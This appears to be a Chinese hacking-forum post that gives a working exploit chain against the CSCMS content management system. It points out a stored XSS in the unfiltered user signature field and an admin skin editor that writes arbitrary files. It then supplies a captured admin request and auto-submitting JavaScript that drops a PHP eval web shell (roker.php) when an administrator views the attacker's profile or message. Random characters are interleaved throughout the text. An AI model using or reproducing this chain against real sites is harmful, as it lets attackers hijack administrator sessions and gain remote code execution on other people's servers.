|
|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
: K4 j3 @+ `) f4 C# I官网已经修补了,所以重新下了源码
+ |9 D' G! f( F1 y! X( k b5 E* p因为 后台登入 还需要认证码 所以 注入就没看了。
: |9 ?( e3 f; n( ~/ R存在 xss
8 q- L9 E# L3 z/ B漏洞文件 user/member/skin_edit.php$ U7 g4 K4 ?( i5 J+ E! e; ?8 }
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
$ c; `& [5 k" ? 6 I/ E6 A q- \: d
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
7 m0 d3 O( x0 d ' B9 ?8 R; K/ U% E7 U
</textarea></td></tr>" S: h+ G% o9 |9 S Y" a0 A
$ f. N" o4 P. o; e8 S
user/do.php
+ \3 b$ k4 K4 j& y y% |5 ]- t" h" F: B3 c4 H, e
" ^) k6 C1 m" O9 f$ `if($op=='zl'){ //资料! j* q: Y8 g& x. I1 z
5 u( A* w% C0 z5 M if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
% K% F; V9 `# i$ h8 J& [8 F exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
% s; O* c" T3 R+ F8 O * V9 W, u9 R7 J5 ~: @
$sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
, y" L0 B+ P. i * l0 u3 ?, n1 F0 W+ `
CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
/ R! s& g( ]5 m ?" i w where CS_Name='".$cscms_name."'";
6 [5 P; V' e7 Y& ~% h @ 7 |) c" {6 G8 g1 p7 ^0 v
if($db->query($sql)){
9 |4 a: `5 C ^' A! w1 M6 {. `/ T
& S4 `3 }/ k+ a' U9 o exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
m3 u6 D' |3 y1 s. c 2 X! [1 @: N9 H( b
}else{
, N8 k, E/ t" w! v" [! K% z* }% D
2 U- }+ M" `' P* S5 p exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));- d- L8 R& d2 Z) k, [
3 k( `# ?1 s3 r5 x+ Y) ^- e
}! ?: a1 q- d0 o* L
6 [. x {, I P9 c) G
- Z4 {& V- h( g1 w) g+ B& X; }" E+ k3 M没有 过滤导致xss产生。
( g$ K3 a- U' j" ^: {: t: U. j后台 看了下 很奇葩的是可以写任意格式文件。。
3 U' r' v$ Y" p- H2 r3 g% |& d抓包。。
; ]# _5 ]$ Q0 w$ b, x7 p3 }
9 [& k# Z- B. s# W0 O% v4 |
7 d, ~( ^* K4 O3 W) x9 l7 f. _本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1* E7 i1 n' V5 H0 C: r
3 D/ y/ ^5 R# r& i
Accept: text/html, application/xhtml+xml, */*
$ P) x. ~, @% l; |1 l# {, G5 b) ^7 K
/ v& p" q5 t/ S3 fReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
% t7 j" L" z. q% L. P2 J, v 0 i3 ? b5 [. t4 T$ }8 a+ v
Accept-Language: zh-CN* S. k. ~. v1 k/ r. c# D
+ h: G* \( I/ M6 o( N5 JUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0); s# k6 |) g s8 q1 ?9 d
9 Y' \5 I4 m) m5 l" t7 cContent-Type: application/x-www-form-urlencoded& X$ U& I3 H W6 F) A- M& k
6 ~6 W; u D- X6 T' cAccept-Encoding: gzip, deflate, W. n, |+ N' z/ p
9 D# |3 |( z: j8 [- b: a
Host: 127.0.0.1, c: P3 V% |2 x4 E
( q6 ]6 {* F' G. D
Content-Length: 38- Y: x1 |) D H, s$ Z
9 y& D, U' Q7 q) P$ A8 e9 ?DNT: 1
7 U( E; r+ K: N5 h% A% ? 7 W L* w4 Q n
Connection: Keep-Alive
2 Q: _& P, @% e e
) b, r. {: ?* b+ h9 qCache-Control: no-cache
6 U! j7 S) X9 I8 x; b
6 J& A s* B( e, M6 t$ ~$ i9 YCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
' w7 T# f4 S1 J7 F 6 k8 G# N' k) O" s6 S# Z7 Y
/ T# w/ n% `9 Kname=aaa.php&content=%3Cs%3E%3Ca%25%3E
( l4 L# a4 T. W- M$ z. `2 p. X n. n( B- D
3 C: \% l1 @9 E& I3 S3 H7 B1 ^ m" ~7 A+ `- N# ?6 K
于是 构造js如下。
/ ?2 l5 f6 i0 U. a3 B$ \6 ] p5 b& h' p! E1 P5 N% y0 [
本帖隐藏的内容<script>
4 c, _7 v# u! k9 g( `; M6 V. x$ D5 K- nthisTHost = top.location.hostname;
" M0 X, R: Z- \, n1 u , T; j3 x8 j" m, L6 }+ L
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";5 L6 L f8 u5 @& B+ g6 z! i
% c% `3 m0 \ @6 h% q! Bfunction PostSubmit(url, data, msg) { 9 g3 B& `- K! P# d2 T8 `8 }
var postUrl = url;
+ S& A9 U6 g+ u' U4 ]/ Z' N4 ]
9 r; i8 S2 C: l# K6 V9 Y var postData = data; 1 X/ E5 |1 x! S+ o* a- C
var msgData = msg; . }# f& v8 x6 a& o! M2 z$ e2 A
var ExportForm = document.createElement("FORM"); ' Q1 J6 U: w3 F3 \' m+ l9 v
document.body.appendChild(ExportForm);
) _; [$ h1 I! f% o ExportForm.method = "POST";
/ ^2 p. E& k$ { var newElement = document.createElement("input");
% a8 f- n! {+ B" o; _) Z+ `& } newElement.setAttribute("name", "name"); + b# }& J4 ^8 Y. k3 f% _* b
newElement.setAttribute("type", "hidden");
T& u; B, L& z$ m var newElement2 = document.createElement("input");
- e( u. c/ E* X9 I8 p3 t; n7 j0 e4 ~ newElement2.setAttribute("name", "content"); # e0 T7 p& l* i8 G# w
newElement2.setAttribute("type", "hidden");
9 S; W ]. N& w4 V& Q, ? ExportForm.appendChild(newElement);
2 S' t' ~$ }3 G3 ~% y. J ExportForm.appendChild(newElement2); 5 S' ?( M: Q9 I& x/ G
newElement.value = postData;
9 Y+ a6 y- v/ U2 a1 i newElement2.value = msgData;
9 V) m4 V, l& M7 ^ ExportForm.action = postUrl; ( H5 J* E; Y1 l; \
ExportForm.submit(); & f+ C: }0 K3 ~2 D, J3 j
};
9 T s# h& O& H2 z8 b+ a: M# } 5 M9 M& C1 T8 L* I
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");8 [* Q/ M6 [* s7 }, x/ P
) B$ a# a+ J* R9 l( ^* _
</script>
# l: X2 S8 x' }3 M; a+ o0 j6 T( s7 ]+ r! y+ m1 c
% I o/ [1 _ p
: j6 Z+ f' |, A+ ghttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
% l& T8 ?- B" |' Q3 P( p/ v用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)
) [) J. ~& h& [1 d( B( S就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
6 u1 ?: ]- d% ?* z. L |
|